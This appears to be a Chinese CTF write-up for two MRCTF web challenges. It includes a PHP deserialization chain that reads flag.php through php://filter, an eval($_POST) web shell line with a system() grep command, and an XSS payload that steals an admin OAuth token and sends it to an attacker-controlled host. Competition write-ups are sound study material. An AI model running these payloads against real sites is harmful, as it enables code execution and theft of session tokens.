webcheckin
这边的后台检测有点迷,只要再payload前加些其他数据就可以绕过。
例如:
<?php
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
}
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}
$a = new Show("self");
$a->str = new Test();//可以触发__get
$c = new Show($a);
echo urlencode(serialize($c));
eval($_POST[1]);
?>
然后就要慢慢的找flag,但是再r4战队大佬的wp里看到了一个查找flag的命令。
1=system(" find /var -type f | xargs grep 'MRCTF{' ");
查找/var目录及其子目录下的普通文件内容经过过滤匹配MRCTF{,再输出。
web_of _gpa
这题的大致思路是通过server端访问client端的文章,通过在client端文章处写入获取token的xss,最后在client端用admin的token登录在查看成绩处就可以看到flag了。
步骤:先依次写入两篇文章
这边我用的https://xss8.cc/
平台来xss
<a id=MyImg><a id=MyImg name=src href='cid:ibukifalling"onerror="javascript:function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split(`&`);
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split(`=`);
if(pair[0] == variable){return pair[1];}
}
return(false);
}
var token = getQueryVariable(`token`);
console.log(token);
document.write(`<img src=http://yourip/?token=`+token+` >`);
"//'></a>
<a id=MyImg><a id=MyImg name=src href='cid:ibukifalling"onerror="javascript:setTimeout(function(){location.href=`http://brtserver.node3.mrctf.fun/oauth/authorize?redirect_uri=http://brtclient.node3.mrctf.fun/view/part1uuid`},1000)"//'></a>
然后再访问xss(这边就是第二篇文章),然后他就会跳转到第一篇文章,带上admin的token访问我们的vps
最后带上admin的token访问client链接查看成绩就可以看到flag了。
http://brtclient.node2.buptmerak.cn/login?token=WRntNQwD9RY8S1RTJRb4rTWDPEptAAaA